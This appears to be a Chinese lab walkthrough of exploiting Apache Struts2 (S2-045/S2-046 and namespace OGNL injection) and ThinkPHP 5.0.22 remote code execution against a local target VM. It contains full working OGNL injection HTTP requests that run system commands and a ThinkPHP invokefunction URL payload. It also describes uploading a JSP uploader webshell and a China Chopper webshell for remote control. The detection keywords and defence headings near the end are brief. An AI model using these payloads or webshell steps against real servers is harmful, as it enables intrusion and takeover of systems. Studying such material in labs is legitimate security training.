赞
踩
环境准备:虚拟机win2003 jspstudy2016 Struts Showcase靶场环境
查看历史相关漏洞在线平台
:
乌云(WooYun.org)历史漏洞查询:
https://wy.zone.ci/searchbug.php?q=Struts2
知道创宇 Seebug 漏洞平台:
https://www.seebug.org/search/?keywords=struts2
漏洞扫描
利用struts2漏洞检测工具对 Struts Showcase 靶场进行扫描:
http://10.0.0.101:90/struts2-showcase/showcase.action
(在线工具包)
Struts Showcase 靶场发现以下漏洞:
POST方法,S2-046-bypass漏洞存在!!!,程序更改为S2-046-bypass漏洞测试模式, 响应码: 200
POST方法,S2-046-1漏洞存在!!!,程序更改为S2-046-1漏洞测试模式, 响应码: 200
POST方法,S2-046-2漏洞存在!!!,程序更改为S2-046-2漏洞测试模式, 响应码: 200
POST方法,S2-046-3漏洞存在!!!,程序更改为S2-046-3漏洞测试模式, 响应码: 200
POST方法,S2-045-bypass漏洞存在!!!,程序更改为S2-045-bypass漏洞测试模式, 响应码: 200
POST方法,S2-045-bypass-2漏洞存在!!!,程序更改为S2-045-bypass-2漏洞测试模式, 响应码: 200
POST方法,S2-045-1漏洞存在!!!,程序更改为S2-045-1漏洞测试模式, 响应码: 200
POST方法,S2-045-2漏洞存在!!!,程序更改为S2-045-2漏洞测试模式, 响应码: 200
POST方法,S2-045-3漏洞存在!!!,程序更改为S2-045-3漏洞测试模式, 响应码: 200
POST方法,S2-045-4漏洞存在!!!,程序更改为S2-045-4漏洞测试模式, 响应码: 200
扫描漏洞:利用工具【在线工具包-漏洞利用-struts2漏洞检查】 可以执行系统命令:(创建账户等) 漏洞利用:上传带上传功能的小马到目标主机,网页访问执行小马文件,菜刀马代码上传到小马上提交,用中国菜刀远程连接。
利用S2-045漏洞上传带上传功能的小马到目标主机:(直接上传菜刀马尝试失败)
- 目标地址:c:\\jspstudy\\www\\lan.jsp
-
- \\双斜杠防止被转义
小马上传成功:
阅览器访问小马,成功访问:
http://10.0.0.101:8080/lan.jsp
加载打开带有上传功能小马文件,把菜刀马代码写到小马里进行上传。
- http://10.0.0.101:8080/lan.jsp --根目录下lan.jsp文件(c:\jspstudy\www\lan.jsp)
-
- 小马里填写:
- --Target File Path:
- C:\JspStudy\WWW\muma.jsp
-
- --Target File Content:
- 菜刀马代码内容
-
- submit提交
菜刀马上传成功:
打开中国菜刀软件远程连接目标主机:
http://10.0.0.101:8080/muma.jsp
连接成功
漏洞位置:http://10.0.0.101:8080/struts2-showcase/integration/saveGangster.action 利用【音速软件-抓包改包-WSExplorer(岁月联盟)】进程抓包。 打开音速软件-漏洞利用-Struts2漏洞检查工具2018版.exe-执行whoami命令-用WSExplorer(岁月联盟)】抓取进程。
POST /struts2-showcase/showcase.action HTTP/1.1 Host:10.0.0.101:8080 Accept-Language: zh_CN User-Agent: Auto Spider 1.0 Accept-Encoding: gzip, deflate Connection: close Content-Length: 1119 Content-Type: application/x-www-form-urlencoded name=%25%7b(%23test%3d%27multipart%2fform-data%27).(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3f(%23_memberAccess%3d%23dm)%3a((%23container%3d%23context%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ognlUtil%3d%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest()).(%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse()).(%23res.setContentType(%27text%2fhtml%3bcharset%3dUTF-8%27)).(%23res.getWriter().print(%27start%3a%27)).(%23s%3dnew+java.util.Scanner((new+java.lang.ProcessBuilder(%27whoami%27.toString().split(%27%5c%5cs%27))).start().getInputStream()).useDelimiter(%27%5c%5cAAAA%27)).(%23str%3d%23s.hasNext()%3f%23s.next()%3a%27%27).(%23res.getWriter().print(%23str)).(%23res.getWriter().print(%27%3aend%27)).(%23res.getWriter().flush()).(%23res.getWriter().close()).(%23s.close())%7d&age=a&__checkbox_bustedBefore=true&description=s
首先在struts.xml配置文件添加<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
次修改配置文件struts-actionchaining.xml 删掉namespace属性,或使用了通配符* 最后把type="chain"改成type="redirectAction"
打开音速软件-漏洞利用-Struts2漏洞检查工具2018版.exe-执行whoami命令-用WSExplorer(岁月联盟)】抓取进程
POST /struts2-showcase//%25%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3f(%23_memberAccess%3d%23dm)%3a((%23container%3d%23context%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ognlUtil%3d%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23str%3d%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27whoami%27).getInputStream())).(%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse()).(%23res.addHeader(%27cmd%27%2c%23str))%7d/actionChain1.action HTTP/1.1
Host:10.0.0.101:8080
Accept-Language: zh_CN
User-Agent: Auto Spider 1.0
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 0
Content-Type: application/x-www-form-urlencoded
--struts2攻击特征(关键字):
--java唯一代码函数:getRuntime().exec
--apache.struts2
--看扩展名xxx.action / .do
环境准备: 虚拟机win2003 phpstudy thinkphp_5.0.22靶场
http://10.0.0.101:90/thinkphp/public/index.php
Thinkphp框架
漏洞复现
- 在url输出关于PHP 配置的信息:
- http://10.0.0.101:90/thinkphp/public/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
参考网站:https://blog.csdn.net/weixin_44862511/article/details/132132998
可利用在线工具包-综合利用工具
命令执行漏洞的安全防范涉及多个层面,包括设计、编码、测试和运维。以下是关键的防范措施:
输入验证 (Input Validation):
参数化查询或预编译语句:
最小权限原则:
使用安全的库和框架:
代码审查:
沙箱环境:
日志监控和入侵检测系统:
安全配置:
持续更新和打补丁:
安全编码最佳实践:
声明:
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。